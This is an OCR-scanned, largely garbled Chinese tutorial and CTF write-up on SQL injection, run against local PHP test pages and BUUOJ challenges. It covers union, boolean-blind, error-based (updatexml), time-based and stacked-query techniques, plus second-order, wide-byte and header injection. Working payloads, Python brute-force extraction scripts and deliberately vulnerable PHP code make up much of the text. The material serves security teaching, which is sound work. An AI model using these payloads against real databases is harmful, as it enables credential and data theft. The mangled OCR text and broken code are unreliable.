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1 select * from information schema.schemata;
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struct

-1" union select 1,group_concat(schema_name),3 from information_schema.schemata --+

information_schema.tables: 726 T Fi A &K 4 .

1 select group concat(TABLE NAME) from information_schema.tables where table_schema='ejucmsl';

% group_concatTABLE_NAME)

eju_ad.eju_ad_position.eju_admin.eju_admin_log.eju_answer.eju_answer_like,eju_archives,eju_arcmulti.eju_arcrank eju_arctype,

query
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TABLE_CATAL...I TABLE_SCHEMA

def
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| TABLE_NAME  [TABLE_TYPE

information_schema
information_schema
information_schema
information_schema
information_schema
Bemesdata
Bemsdata
Bemesdata
Bemsdata
Bemesdata

INNODBE_CMP  SYSTEM VIEW
INMODE_LOCKS SYSTEM VIEW
INMODB_CMPME SYSTEM VIEW
INMODBE_CMP_R SYSTEM VIEW
INMODE_BUFFEF SYSTEM VIEW
Bems_about BASE TABLE
Bcms_account_|lo BASE TABLE
Bems_admin BASE TABLE
Bcms_aplipay BASE TABLE
Bems_article BASE TABLE

ENGINE
MEMORY
MEMORY
MEMORY
MEMORY
MEMORY
MylSAM
MylSAM
MylSAM
MylSAM
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VERSION
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ROW_FORMAT

10 Fixed
10 Fixed
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10 Fixed
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10 Dynamic struct

-1" union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where TABLE_SCHEMA =

'‘ejucms’ --+

information_schema.columns: 74 T TG 7B 4 .

1 select group concat (COLUMN NAME) from information schema.columns whevel TABLE NAME="=ju_admin';

*  group_concatiCOLUMN_NAME}

admin_id,user_name,pen_name true_name,maobile . email password, head_pic.last_login,.last_ip.login_cnt,session_id,parent_id role_id,status.

TABLE_CATAL...| TABLE_SCHE...
information_sche CHARACTER_SE CHARACTER_SE
information_sche CHARACTER_SE DEFAULT_COLL!
information_sche CHARACTER_SE DESCRIPTION
information_sche CHARACTER_SE MAXLEN
information_sche COLLATIONS COLLATION_MNAM
information_sche COLLATIONS CHARACTER_SE
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struct

COLUMN_NA_. | ORDINAL_POSITION

COLUMN_DE...

1 <MEMO=
2 <MEMO=
3 <MEMO=
4 <MEMO=
1 <MEMO=
2 <MEMO=

IS_MULLAB. ..

NO
NO
NO
NO
NO
NO

query

DATA_TYPE
varchar
varchar
varchar
bigint
varchar

varchar
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-1" union select 1,group_concat(COLUMN_NAME),3 from information_schema.columss where TABLE_NAME
='eju_admin' --+
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select column_name from database name.table _name;
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select column_name from database name.table _name where column_name=";
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select column_name from database name.table name where column_name="and column_name =" ;

limit2 — M SHRE LKL F(NOFFIR), B -ASEABLF LR

limit 0,1
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version(): 4 BT MySQLKR 4

user(): % BT MySQLH /
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index.php?id=-1/*! UNION*//*! SELECT*/1,2,3
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Union Injection

THRARETUES, il T FBRANEULFEF#ITEMENEE, FASIdRETINE, FHbB&EAFAFE
TR T o

$conn = mysqli_connect("localhost","root","root","security");
if(mysqli_connect_errno()){

echo "ERROR:".mysqli_connect_errno;

die();

}

$id = @$_GET[id7;

$result = mysqli_query($conn,"select * from users where “id*=".$id);
$row = mysqli_fetch_array($result);

echo $row['username’].":".$row['password';

echo "

?7>

F Rt T usernamell Kpassword, B tEt 2 @ KEN .
BEMBAE, XA K.

BH4eH and 1=1 1 and 1=2F MK B K&K R %A A =& B ESqEAN

GET /sgliunion.php?id=1 and 1=1 HTTF/1.1 & HTTP/1.1 200 OK

Host: 127.0.0.1 2 Date: Fri, 06 Mar 2020 09:52:03 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x84, n.56.0) Gecko/20100101 Firefox/56.0 Server: Apache/2 4 23 (Win32) OpenS5L/1.0.2) PHP/S.5.38
Accept: text'htmlapplication/xhtmbxml application/xml;g=0.9,"":q=0.8 X-Powered-By: PHP/5.5.38
Accept-Language: en-US en;gq=0.5 Content-Length: 13
Accept-Encoding: gzip, deflate ‘Connection: close

Coaokie: Hm_hi_efecciaf268esladciBbZecTh4eeib11=15622007TE; DedelserlD=3; Caontent-Type: texthtml
DedellserD__ckMd5=BeT54debodBd3654; DedeloginTime=1582871220;

DedeloginTime__ckMd5=082609f525541626 Dumb:Dumb=tr=

Connection: close

Upgrade-Insecure-Requests: 1
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# '\(-j (@ 127.0.0.1/sgl/union.php?id=1 order by 3
B ==wiE
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1) '.\('\J (® 127.0.0.1/sql/union.php?id=1 order by 4
B =z
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# '\(-) ® 127.0.0.1/sqgl/union.php?id=-1 union select 1,2,3
ER=cor
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# i\(— ) @ 127.0.0.1/sql/union.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
BEHAE

information_schema 8cm sor,awd.b “hallenges dedecmsv3 TutfBsp2 e =spoms_vI eyoum s.mysql.pe pikacht
—
# E\(— ) @ 127.0.0.1/sgl/union.php?id=-1 union select 1,database(),3
2258
security:3

F AT ED S B A 1 B 44 9 24T P security.

—
# ':\(- ) @ 127.0.0.1/sql/union.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() |
ERHE

emails referers uvagents, users:3

R HT R R A

=
A 'Z\(- ) @ 127.0.0.1/sql/union.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table name="users’
£5i5E

token.team_ip._score, state password._flag.1d username password, level 1d username_password:3

BFRXE, HLBERELZES, FHAusersiX KR JLANEHHAA.

=
# ':k(- ) (@ I=-1 union select 1,group_concat(column_name),3 from infolmat\'on_schema.columnslwhere table_schema = "security’ and table_name:'users‘I I
ETiAE

id_username password:3

BN — T FAFER A

—
i i\(— J @ 127.0.0.1/sql/union.php?id=-1 union select 1,username,password from security.users limit 1,1

8 =swa
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Boolean Injection

Ky#ll T union. sleep. benchmark, FiAREf#

$conn = mysqli_connect("localhost","root","root","security");

if(mysqli_connect_errno()){



die("ERROR:".mysqli_connect_errno());

}

$id = $_GET['idT;
if(preg_match("/union|sleep|benchmark/i", $id))}
die("get out hacker!");

}

$result = mysqli_query($conn,"select * from users where “id* = ".$id."");
$row = mysqli_fetch_array($result);

if($row){

echo "yes";

lelse{

echo "no";

}

I HidREstringkA, [EMAEGHES]S, HHEEEER TR S Hityessi#Eno, RE5 BRI AsqE
No

HEEMIRKE, HA#BEE, Zasleep()&i#hacker, #i42:4E Hsubstr()

# €= | (D 127.0.0.1/sgl/boolean.php?id=1"and 1=1 -+
& s2zwa

ves

® €= | D 127.0.0.1/sql/boolean.php?id=1"and 1=2 -+
& 2swa

no

B 56 Flength ()R 2 Wi B2 2 K .

import requests

for i in (10):
url http://127.0.0.1/sql/boolean.php?id=1"' and length(database()) »>=
res requests. (url)

text res.text
if "no text:
("length of database name is:

eth of database name is:8

5 Fsubstr() R B E 4



substr(database(),1,1)
BIFRE, B ISERAFRE, BASEAINE-NFRITH, FEASEONEBRABR—

name = ('a’,'b’,'c’,"'d","'e","f',"g","h*,"1","37, k", "1", 'n", ", 00, TptL TN, e, s, T, T
for i in (database_length):
for j in ( (name)):

database=

url = "http://127.08.0.1/sql/boolean.php?id=1" and substr(database(),

res = requests. (url)

text = res.text

if "yes"™ in text:

database += name[j]
(database)

url = "http://127.0.0.1/sqgl/boolean.php?id=1" and substr(database(),{},1) = {}' --+".format(i+1,name[j])
LR AT DA e lascii

id=1" and ord(substr(database(),1,1)=115) --+

$55 BL AT LAFEsubstr()H ik A selectiB A il R A L 7B IR A IE—A, BrelZAlimt

— name:(aJbJC}d}e}-F}g}h}i}j}k}lJanJOJpJqJPJ
for i in (1,5):
for j in ( (GELE)DE
url = "http://127.0.0.1/sql/boolean.php?id=1" and substr((select table nj
res = requests. (url)
text = res.text
if "yes" in text:
(name[j])
break;

url = "http://127.0.0.1/sql/boolean.php?id=1" and substr((select table_name from information_schema.tables
where table_schema='"security' limit 1,1),{},1)="{}' --+".format(i,name[j])

boolean.p

boolean.p 2
( (name)):
http://127.8.8.1/sql/boolean.php?id=1"' and substr((select column_name from ir
#url = "http://127.6.0.1/sql/boolean.php?id=1" and substr((select column_name from
res = requests. (url)
text = res.text
if "yes" in text:
(name[j])
break;




url = "http://127.0.0.1/sql/boolean.php?id=1"' and substr((select column_name from
information_schema.columns where table_schema='security’ and table_name="flag' limit 0,1),{},1)="(}' --
+".format(i,name[j])

url = "http://127.0.0.1/sql/boolean.php?id=1"' and substr((select column_name from security.flag limit 0,1),
{,)=Y4} --+".format(i,namelj])

PIFHERATLL, ERFE—MEER, —EERNEEEMEK.

name (‘a','b",'c','d",'e",'f','g",'h","1","§", 'k, ,'n",'n",’0",'p','q  EEHE A8, 'U
flag
for i in (1,40 ):
for j in ¢ (name)):
url http://127.06.08.1/sql/boolean.php?id=1"' and substr((select flag from security
res = requests. (url)
text res.text
if "yes text:
flag name[j]

(flag)
break;

flag{52a@3125fcalb
flag{52a@3125fcal6c
flag{52a83125fcal6c8
flag{52a83125fcal6c87
flag{52a@3125fcal6c873
flag{52a03125fcal6c8734

url = "http://127.0.0.1/sql/boolean.php?id=1"' and substr((select flag from security.flag limit 0,1),{},1)="{}' --
+".format(i,name[j])

Error Injection

$conn = mysqli_connect("localhost","root", "root", "security");
if(mysqli_connect_errno()){

die("ERROR!");

}

$username = @$_GET['username];

if(fresult = mysqli_query($conn,"select * from users where “username’=".$username.")){
echo "ok";

else{

echo mysqli_error($conn);

}
B, Ri#Eusernameskft &), REEERARTRI), FERIISMWE, BEREEAN.



RERE, ARSI SR, AR

&« C @ 127.00.1/sgl/error.php?username=admin%27

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "admin™' at line 1

B ZE U — T H 2 updatexml()
UPDATEXML (XML_document, XPath_string, new_value);

select updatexml(1,concat(0x7e,(select database()),0x7¢e),1)

&« C @ 127.0.0.1/sgl/error.php?username=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e), 1)%20--+

XPATH syntax error: '~root@localhost~'

concat() R B HIER—NFRH, BIASFFEXPATH stringfy#g =, Mt I NEEiR, BHAEP

0x7eASCIIS, 5 4 ~,upadtexml (k45 B AR R FFF . FRERZERINE N T BT 7B E R, IFREE MR
T~

BB A B

?id=1" and updatexmi(1,concat(0x7e,(SELECT @@version),0x7e),1)
A

?id=1" and updatexmi(1,concat(0x7e,(SELECT user()),0x7¢e),1)
B

?id=1" and updatexmi(1,concat(0x7e,(SELECT database()),0x7¢e),1)
- JE3

?id=1" and updatexmi(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM
information_schema.schemata limit 0,1),0x7¢e),1)

BR

?id=1" and updatexmi(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM
information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

BB

?id=1" and updatexmi(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM
information_schema.columns where table_name="flag' limit 0,1),0x7¢e),1)

BYBNAE

?id=1"and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,flag,0x23) FROM security.flag limit
0,1),0x7e),1)

L%, XBERUAFEESL. RE. FBA MK, FHikfHinformation_schemaix/NE, WRAEHITER, HE
Bfrom$g €8P 7],



<« & @® 127.0.0.1/sql/error.php?username=%27%20and%20updatexmi(1,concat(0x7e, (SELECT%20database()),0x7e),1)%20--+

XPATH syntax error; '~security~'

?username=admin’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+

&« C  ® 127.0.0.1/sql/error.php?username=1%27%20and%20updatexml(1,concat(0x7e, (SELECT%20distinct9%20concat(0x7e,%20(select%20table_name),0x7e)%20FROM%20information_schema.tables%20where%20table_schema=database(... ¥

XPATH syntax error: '~~flag~~"

?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e)
FROM information_schema.tables where table _schema=database() limit 0,1),0x7¢e),1)

& C ® 127.0.0.1/sql/error.php?username=admin%27%20and%20updatexml(1,concat(0x7e,(SELECT%20distinct%20concat(0x7 e, %20(select%20column_name),0x7e)%20F

XPATH syntax error: '~ ~BiEiEEsBEfEiE ~~

?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e)
FROM information_schema.columns where table_name="flag' limit 0,1),0x7e),1)

& C  ® 127.0.0.1/sgl/error.php?username=admin%27 %20and%20updatexml(1,concat(0x7e, (SELECT%20distinct%20concat({0x23, flag,0x23)%20FROM%20security.flag%201imit%200,1),0x7e), 1)%20--+

XPATH syntax error: '~#flag{52a03125fca16c8734811181f'

"and updatexmi(1,concat(0Ox7e,(SELECT distinct concat(0x23,flag,0x23) FROM security.flag limit 0,1),0x7e),1)
Time Injection

$conn = mysqli_connect("localhost","root","root");
if(mysqli_connect_errno()){

echo "ERROR:".mysqli_connect_errno()

}

$id = $_GETIidT;

if(preg_match(/union/i, $id)X

exit("get out!");

}

$result = mysqli_query($conn,"select * from users where “id"=".$id."");

$row = mysqli_fetch_array($result);



if($row){
exit("yes");
lelse{
exit("no");
}

?>

F— T LEKMRE, EXEAEAuUNon, HXRFERSISHE. HMRIXE A L Booleani: N BRI fh 77
%, BATHET RS ERESR.

id=1" and if(ord(substring(database(),1,1))=115,sleep(5),1) %23
id=1"and if(substr(database(),1,1)='s",sleep(5),1) %23

if(expr1,expr2,expr3):#&expr1 A TRUENIf()i& [Elexpr2 %5 M ik [Elexpr3.

Send Cancel l < | J > Target htp:i127.0.01 7 @

Request Response

Raw | Farams Headers Heax Raw | Heasders Hex Render o2t i L Q gg

‘GET /sqltime php?id=1%27%20and %20i(length(databsse ()% 3E7|skeep(10), 11820+ HTTP/1.1 i HTTP/1.1 200 OK o
Host 127.0.0.1 P Date: Sat, 07 Mar 2020 04:30:56 GMT -
User-Agent: Mozila/5.0 (Windows NT 10.0; Wing4: x64: rv:56.0) Gecko/20100101 Firefox/56.0 Server: Apache(2 4.23 (Win32) OpenSSLI1.0.2j PHP/5 5.38
Accept: textihtmi,application/xhtmi+xmi application/xmi;q=0.9,"";q=0.8 X-Powered-By: PHP/5.5.38
AcceptLanguage: en-US.enig=0.5 ContentLength: 2
Accept-Encading: gzip, defiate Connection: clase
Cookie: Hm_ivi_s2ecc5as268ea 1ad4ca8a2ecTbdestnl 1=1582200775; DedeUserlD=3; ContentType: textihtmi
DedeUserlD__ckMd5=8e754debodBd3654; DedeloginTime=1582071220; DedeLaginTime__ckhd5=08e600{5e5547626
Connection: close no
Upgrade-Insecure-Requests: 1
- -
v v
@ = e > Tvpe = search t=m 0 metches @ = + > Type 3 search tem 0 matches

Done 204 bytes |I14.025 millis




{ Send J Cancel ITJ >

Request

Raw | Params Headers Hex

Response

Raw | Hesders Hex Render

Target: hitp:(127.0.01 27 ®

S E D

GET /sqlitime_php?id=1%27%20and%20if(length(database()|%3EB|sleep({10).1]%:20—+ HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozila/5.0 (Windows NT 10.0; Win64; x64: v:56.0) Gecko/20100101 Firefox/56.0

Accept: texthtmi, ! 14=0.9,"1"q=0.8

acceptLlanguage: en-US,enig=0.5

Accept-Encoding: gzip, deflate

Caokle: Hm_hi_eZecc5aB268ea1adc0BB2ecTbdeath 1=1562200778; DedelserlD=3;
DedelserlD__ckMd5=B2754debedBd3654; DedelaginTime=158297 1220; DedeLoginTime__ckMd5=082600525541626
Cannection: clase

Upgrade-Insecure-Requests: 1

@ B EJ lZJ Type = search tem

Done

FBF B, R R KRB R BER 14s, AR N4s, EBIHAT T sleep(10).

HTTP/1.1 200 OK

Date: Sat, 07 Mar 2020 04:32:14 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2) PHP/S 5.38
X-Powered-By: PHPI5.5.38

CantentLength: 3

Cannection: close

Cantent-Type: textfhiml

yes

-

=
v

® (@@ E) e

0 matches

205 bytes | 4,032 mills

ERFEHETUEES], Bl T yesMnonl LARRFINT, Aid 52k dn SRAE 25 A 7T A B KIARE, BUA AR e &

vy

“E o
Stack Injection

try{

$conn = new PDO("mysql:host=localhost;dbname=security","root","root");

$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$result = $conn->query("select * from users where “id'=".$ _GET['id1."");

$row = $result->setFetchMode(PDO::FETCH_ASSOC);

foreach($result->fetchAll() as $k=>$v){
foreach($v as $key => $value){

echo $value;

}

$dsn = null;

}

}
catch(PDOException $e){



echo "error";
}
$conn = null;

FILAEBE A T PDO, i FIPDOATSQLIBE AR, I AT 2 %1EH), HRSREFE KSR, FHA
mysql_multi_query()th 7] A # £ %15 4] .

558 PR P - B SR -

easy_sql

B TREREEFEEE, RE—AE: FRMZER—AT
BH.

function wafl($inject) {

preg match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return
preg match("/select|update|delete|drop|insert|where|\./i",$inject);");

function waf2($inject) {

strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") &&
strstr($inject, "prepare")');

if(isset($_GET['inject'])) {

$id = $ GET['inject'];

wafl($id);

waf2($id);

GrmimaTls — A mrlrAaT2 /107 A A AN U AT 1T 1 i~ T\ .



PUHIYSYLL = HEW IySYLl| L14/.Y.U.1l , I'UUL , 1'UUL , >dupeidyll ),

//%%sqligh]
$sgql = "select * from “words™ where id = '$id';";
$res = $mysqli->multi_query($sql);

if ($res){//MHmulti_query()#IT—%BE %sqliEh)

do{

if ($rs = $mysqli->store_result()){//store_result()HEEIREUE —%sqliBh) AL R

while ($row = $rs->fetch_row()){

var_dump($row);

echo

$rs->Close(); //KRMGRE

if ($mysqgli->more results()){ //HWRELEELLERE

echo



}while($mysqli->next_result()); //next_result()FiEIKE T —4 %4, REboolE

} else {

echo "error

".$mysqli->errno.” : ".$mysqli->error;

$mysqli->close(); //RA%IEEERE

?>

e LHEIBT, FOYPDORIR[EISE —KBRIMSE R, FrLAsE — & % Esleep(), ETHEIKEE,

Request Response

Raw | Params Headers Hex Raw | Headers Hex Render

Target hitp127.0.01 7 @

SET Isglistack. php?id=1%27 select%20if(ord{substring(database(),1,1)j=115,skeep(10],1)%20—+ HTTP/1.1 N HTTP/1.1 200 OK
Host: 127.0.0.1 P Date: Sat, 07 Mar 2020 05:32:28 GMT

JserAgent: Mazika/5.0 (Windows NT 10.0; Win64: x64: v:56.0) Gecka/20100101 Firefox/56.0 Server: Apachef2.4.23 (Win32) OpenSSL/1.0.2] PHP/5.5.38
\ceept: textihtml application/xhtmi+xml application/xmi:q=0.9."":q=0.8 X-Powered-By: PHP/5.5.38

\ccept-Language: en-US, en;q=0.5 Cantent-Length:

\ceapt-Encoding: gzip, defiate Cannection: close

Sookie: Hm_h_e2eccSaB268eala4c0B62ecTbdeebb11=158220077E; DedeUseriD=3; Cantent-Type: textihtmi
JedelUserlD__ckMd5=62754debcd8d3654; DedeLoginTime=158287 1220; DedeLoginTime__ckMNd5=082620f5e554f626

Zonnection: case 1DumbDumb

Jpgrade-Insecure-Requests: 1

5]%




v v
2 ul;“j Type & search tem 0 matches @ LH;J[;J Type s search tem 0 matches
Dane 2

T ELE B okHY .
AR L P4 1 A O 461

R LN G REA S R AREE, BRI EMMFAERET .

B FEARERIRSE, Qii—/iE: FRNRER—4AT

ZEi 1| Submit Query

return preg_match(”/select|update|delete|drop|insert |wherel|\. /17, $inject) ;

MiAselectiRffn b, B[R T LiRREF.

. easy sql ® +

1) € | © 127.0.0.1/sql/qwb.php?inject=1"%3Bshow-+tables%3B c Search
2 EEIAHE
BIFFRAEEMREE, Ri—2iE: ARRER—AH
ZE 1:show tables; Submit Query

array(3) {
[ol=>
string(1) “17
[11=>
string(4) “Dumb”
(2]1=>
string(4) “"Dumb”

array(l) {
[ol=>
string(6) “emails”

o
array(l) 1

rnl=s



(R

string(4) “flag”

arrav(l) {
rnil=»

1' show tables;
MAXBEATETEH A, BRPFEER, HFHERALRETER.

easy_sql X\ 4+
01} € | (D 127.0.0.1/sql/qwb.php?inject=1'%3Bshow+columns+from+flag%3B c Search
&) E=HE

BHFRXAEERIRSE, Rii—0ih: FRNRSR—AT

220 show columns from flag; | Submit Query

array(3) {
[ol=>
string(1) "17
[11=>
string(4) “Dumb”
[21=>
string(4) “"Dumb”

array(6) {
[ol=>
string(4) "flag”
[1l=>
string{11}) “varchar(30)”
[21=>
string(3) "YES”
[31=>
string{0) "
[4]=>
NULL
[R1=>

1' show columns from flag;

BT RERGEERGEselect, HselectERBAL RS, FHBHAMITIE:

easy sql X+
# € ) ® 127.0.0.1/sql/qwb.php?inject=1'%3B+handler+flag+open+as+Railgun%3B + c Search
& EFiAER

BHMFRAELEHIREE, Rii—aiE: FRNZER—F0

#ZF handler Railgun close;# || Submit Query

array(3) {
fnl=s



string(1) "17
[1]=>

string(4) “Dumb”
[2]=>

string(4) “Dumb”

array (1) {
[ol=>
string(30) "flag{52a03125fcalfc8734811181f"

1'; handler flag open as Railgun; handler Railgun read first; handler Railgun close;#
F—Fi~/hanlder, H# EHEKhanlder flag open as Railgun;HHHflaglkE%.
TR R R A IS, B A B SRF R UL 5 A —Fh O

| easy_sql X\ +

f € ) © 17cdb23f-c387-412a-97bf-e53f5f459e1c.node3.buuoj.cn/?inject=1'%3B+shon

c | | Q, Search

8 2znE

BHFRRAESERRSE, Rii—aiE: ARNRER—A0

array(2) {
[ol=>
string(1) "17
[11=>
string(7) “hahahah”

array (1) {
[o]=>
string(16) "1919810931114514"

array (1) {
[o]=>
string(5) “words”

PNE, —HBHFL Fwords, wordsiRi#tit)E RIIFIRAE Flaghis.

| easy_sql X\ +

i ) 17cdb23f-c387-412a-97bf-e53f5f459e1c.node3.buuoj.cn/?inject=1%27%3Bsh

c ||0\ Search

ER=t=

B FRAREHRSE, Rii—0i&: ARIRER—AT

ZZE8: 9198109311145147 ;%23 | Submit Query



array(2) {
[o]=>
string(1) “17
[1]=
string(7) “hahahah”

array(6) {
[ol=>
string(4) “flag”
[11=>
string(12) “varchar(100)”
[21=>
string(2) “NO”
[31=>
string(0) 77
[4]=>
NULL
[5]=>
string(0) 77

1';show columns from 1919810931114514 ;%23

REREER, HTFEARISEERST.

| easy_sql * O+
# (- ® 17cdb23f-c387-412a-97bf-e53f5f459¢1c.node3.buuoj.cn/?inject=1"%3B+hanc c | ‘ Q Search
B s=nE

W FRRAELMREE, Rik—aiE

%% [handler Railgun close;# = Submit Query

array(2) {
[o]=>
string(1) "17
[1]1=>
string(7) “hahahah”

LN ]

HAEMZER—A0]

array(1) {
[0]=>

string(42) "flag{47f21631-c13c-4a58-9054-TcHbbal42303}”

}

1'; handler "1919810931114514° open as Railgun; handler Railgun read first; handler

Railgun close;#

TR TR UL A — P T ik



RENAME TABLE “words™ TO “wordsl;

RENAME TABLE ~1919810931114514° TO “words ;

ALTER TABLE “words™ CHANGE "flag™ ~id~ VARCHAR(100) CHARACTER SET utf8 COLLATE
utf8 general ci NOT NULL;

show columns from words;%23

iR — T L payload, ZifwordsEHMUAwordsl, ARG BB FR M Awords, 25 EEHwordsH K
flagF B NidFEE, JEHEIshow columnsit REE RINKE .

| easy_sql * O+

# {;(— | ® 17cdb23f-c387-412a-97bf-e53f5f459e1c.node3.buuoj.cn/?inject=1%27%3BRE | ¢ ‘ ‘ Q Search

B

88 olumns from words; %23 | Submit Query

array (2} {

[ol=>

string(1) “17

[1]=>

string{7) “hahahah”
}

array(6) {
[ol=>
string(2) “id”
[1]=>
string(12) “varchar(100)”
[2]=>
string(2) "NO”
[3]=>
string(0) 77
[4]=>
NULL
[5]=>
string(0) 77

AT LAE B)idiRE R varchar (100) i B 3 .



B FEREERRESE, Rii—aiE: ARNZSR—A0

ZZEH 1'or1=1# Submit Query

array(1) {
[ol=>
string(42) "flag{47f21631-c13c—4a58-9054-7c5bbal42303}”

[SUCTF 2019]EasySQL

Give me your flag, | will tell you if the flag is right.
1 B3

Array ([0] == 1)

MABS SHEEEE, HitEATEAE.

Give me your flag, | will tell you if the flag is right.
1;show tablas; # it

Array ([0] == 1) Array ( [0] == Flag )

WBEWRI, HEZHITshow columns from Flaghiit{&E Enono, &3 T from. flag, &t MBI T
wherefH 2 & A it JEselect.

select $ GET['query'] || flag from flag

fEoracle BREHRF HIE ¢ || ° RENFFBEPE, HEiEmysql REDLIRE. FTEREmysql K
sql_modet®z: pipes_as_concat XR3ZPloracle H—LIhE

k-G URRUESENR o [P [ [ N ) - 1 N o | R o i 5



JIIVE TTIE YOuTr 1dy, | Wi Lern you i e nday s ngrie.
'IPES_AS_CONCATselect 1| | 1838

Array ([0] => 1) Array ([0] => 1flag{265d1990-0187-421a-8a48-d0427265d7ed} )

1;set sql_mode=PIPES_AS CONCAT;select 1

ZIRIEAN

register.php

$username = $ GET[ 'username'];

$password = $ GET[ 'password'];

$result = mysqli _query($conn,"insert into users( username”, password’)
values('".addslashes($username).""',"'".md5($password)."")");

others.php

id = intval($_GET['id']);

$result = mysqli_query($conn,"select * from users where “id =".$id);

$row = mysqli_fetch_array($result);

$result2 = mysqli_query($conn,"select * from persion where
“username’="'".$username."'")

if($row2 = mysqli_fetch_array($result2)){



echo $row2[ 'username'].":".$row2[ 'money'];

}else{

echo mysqli_error($conn);

BB register.phpSL Bl T —ANEMKIThRE, % Haddslashes ()43 DA R HE2 88 Fmds () i & i f5
WA, HijHusername=railgun’&password=123H}:

INSERT INTO users( username’, password ) values('test\'', 'md5")

{B R B E K Pusernameif £ railgun’, I AfEothers.phpHh#t# T usernamet Asqligf), B ik
sqliEN. WER 3 — s LR AR I BB TABIEEF

TP HEA

mysql query("SET NAMES 'gbk'",$conn);

R E B S R B T GBK (M E—F it BTk ), AARRN B5| S#ATH X, R LLE5| 5 8% : 7£GBK %
W rh%df5%5c (“\? )R, RIVERFH G T H&,

1" ---> 1\'

1%df' ---> &’

JETEREAN T ER S B —H T .

HTTP Head Injection



HTTPLYEN, HFEcookielE N XFFyEANZHAMKIFEN T .

cookie.php

$id = $_COOKIE['id'];

$value = "1";

setcookie("id",$value);

$result = mysqli_query($conn,"select * from users where “id =".$id);

L2 cookiedE NI A RS, AT PLEIINEBE S cookiel) R BIEN

HitfEFEclient-ip. x-forward-for. remote_addrZF3REXUipE HiEEdtsqliBq], FFETTAEERsqLIE
ANHIE B

ZA%IEN

HEDYE NG T R urlencode () b EAE NS K, RIEBHE sqLIOR &3 /Turldecode () A8, B& B
base64_decode ()b EENKI SR EH i sqliEH]

bR 1) AR B AL Abase644wmt J5 i sqLiE N TE A BI AT 58 B sqLIE AN B

Bypass Detection

XFFsqlE AR, WRMRETRE: RKAOAERE., NERE. wmisd. NERERSTSE, SRMRE
AN, BATA A EA tibanf X 7T sqLIEA

Some CTF

BIEERENCTES T 58 M Bl B LR SUCTFEasySQL.



[#&% KBkEL 2019]EasysQL

£Acldy, R—AWEBFRAZF R, RUEKMT —4-FAL, RAEAC

Fi P 4 admin’ #4E

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "admin™ at line 1

B :admin’ or 1=1 #




a
.
A

ﬂaq{?eﬂ c@4gggcb4 -444b-8766-3a2343f5cece)
% 5 pRtsri BR e SR

r‘%‘ =

[ KPR 2019]LovesSQL

ABEZRANEER, TARXARMED T L0 lag, kS CMNEET R MG, "5

AT —TF, BAAIA.




'Hello adrriin|
. YoUf pastbrd IS '26a3933092b8b54c398494432d477620'

node3.buuoj.cn/check.php?username=admin’ order by 4 %23&password=111

Unknown column "4" in "order dause’

REREEBEREMAH#—REN%23, T REKGEM, usernameBEE —PMAFLER.

)3.node3 buuoj.cn/check.php?username=adminx’ union select 1,2,3 %23&password=1

HeHo ok AT
" Your padsword is 3

ode3.buugj.cn/check.php?username=adminx’ union select 1,group concat(table name),3 fr




HeHo geekuser IOve1ysq1 |
Yeur paésword |,s 3 S

10de3.buugj.cn/check.php?username=adminx’ union select 1,group _concat(column_name),3

HeHo |d username passwordf
Your paésword 83 uOR

.‘] r-'\!\J e
»

5_'.;"-

3.node3.buuoj.cn/check.php?username=adminx’ union select 1,username,password from geek

HeHo cl4y Y sl
Your paésword s wo tal nanye’

A £ B3 10 % ,‘1 Y '-.J
t + 3 1 ' 3 L2 '
i »




BHEflags e, THEMALimitF4BI—TEE.

Filter: Showing all items

Reguest & | Payload Status | Ervor | Timeout | Length Comment
g T 200 ] ] orT
] 8 200 a a o979
10 ] 200 a a o979
11 10 200 a a o979
12 11 200 a a o979
12 12 200 a a o979
14 12 200 a a o979
15 14 200 a a o83
16 15 200 O O 1005
17 18 200 a a TIE
18 17 200 a a TIE
19 18 200 a a TIE
20 19 200 O O TIE
21 20 200 O O 735

e

jRﬂIITHBEI.dEISTHEKTHmTHEHdEI]

<body background="/image/background jpg" style="background-repeatno-repeat ;background-size: 100% 100%; background-attachment: ficed;"=
<bra<br=<br>
<h1 style=font-family:verdana;colorred;text-align:center,"»Login Success!</h1=<br=<br=<br=
</br=
<p style="font-family:anal color# i font-size :30pxleft.650px; position:absolute;"»Hello flag! </p=<ibr==/br=
<p style="fant-family:anal; cobor:#f font-size :30px;left:650px; position:absalute;">Your password is
flag{27409c25-4739-4bef-B9d9-214bbaTEIG0) =/p>
<ibady>
</htmi=

2 7 A group_concat ()3T ENH SR A#E )
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